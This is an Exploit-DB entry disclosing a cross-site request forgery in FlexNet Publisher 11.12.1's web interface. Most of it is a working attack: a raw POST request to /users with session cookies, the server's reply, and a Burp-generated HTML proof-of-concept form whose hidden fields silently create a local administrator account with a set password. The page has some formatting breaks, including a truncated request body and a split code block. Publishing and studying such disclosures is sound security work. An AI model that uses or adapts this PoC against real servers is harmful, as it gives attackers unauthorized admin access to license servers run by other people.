FlexNet Publisher 11.12.1 - Cross-Site Request Forgery (Add Local Admin)

EDB-ID:
47986

CVE:
N/A

EDB Verified: ×

Author:
ISMAIL TASDELEN

Type:
WEBAPPS

Exploit: / {}

Platform:
PHP

Date:
2020-01-31

Vulnerable App:

```
# Exploit Title: FlexNet Publisher 11.12.1 - Cross-Site Request Forgery
(Add Local Admin)
# Date: 2019-12-29
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.flexerasoftware.com/
# Software : FlexNet Publisher
# Product Version:  v11.12.1
# Product : https://www.flexerasoftware.com/monetize/products/flexnet-
licensing.html
# Product Version : https://helpnet.flexerasoftware.com/eol/flexnet-
publisher.htm
# Vulernability Type : Cross-Site Request Forgery (Add Local Admin)
# Vulenrability : Cross-Site Request Forgery
# Reference : https://community.flexera.com/t5/FlexNet-Publisher-Knowledge-
Base/CVE-2019-8962-remediated-in-FlexNet-Publisher/ta-p/131062
# CVE : N/A

HTTP Request :

POST /users HTTP/1.1
Host: SERVER:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://SERVER:8888/users?event=create&licenseTab=
Content-Type: application/x-www-form-urlencoded
Content-Length: 197
Connection: close
Cookie: Webstation-Locale=en-US;
sess_lmgrd=32CFC53815147D5362ACAAF100000001; GUEST=1; UID=GUEST; FL=1;
FA=1; DM=; user_type_lmgrd=0
Upgrade-Insecure-Requests: 1

licenseTab=&selected=&userType=local-
admin&userName=ISMAILTASDELEN&firstName=Ismail&lastName=Tasdelen&password2=Te

HTTP Response :

HTTP/1.1 200 OK
Date: Sun, 29 Dec 2019 08:38:14 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Cache-Control: no-cache, no-store
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 14434

CSRF HTML PoC :

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://SERVER:8888/users" method="POST">
      <input type="hidden" name="licenseTab" value="" />
      <input type="hidden" name="selected" value="" />
      <input type="hidden" name="userType" value="local&#45;admin" />
      <input type="hidden" name="userName" value="ISMAILTASDELEN" />
      <input type="hidden" name="firstName" value="Ismail" />
      <input type="hidden" name="lastName" value="Tasdelen" />
      <input type="hidden" name="password2" value="Test12345" />
      <input type="hidden" name="confirm" value="Test12345" />
      <input type="hidden" name="accountType" value="admin" />
      <input type="hidden" name="checksum" value="1d00c20815e84c31" />
      <input type="hidden" name="Create" value="Create" />
```

```
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

Tags:

Advisory/Source: Link

Databases

Links

Sites

Solutions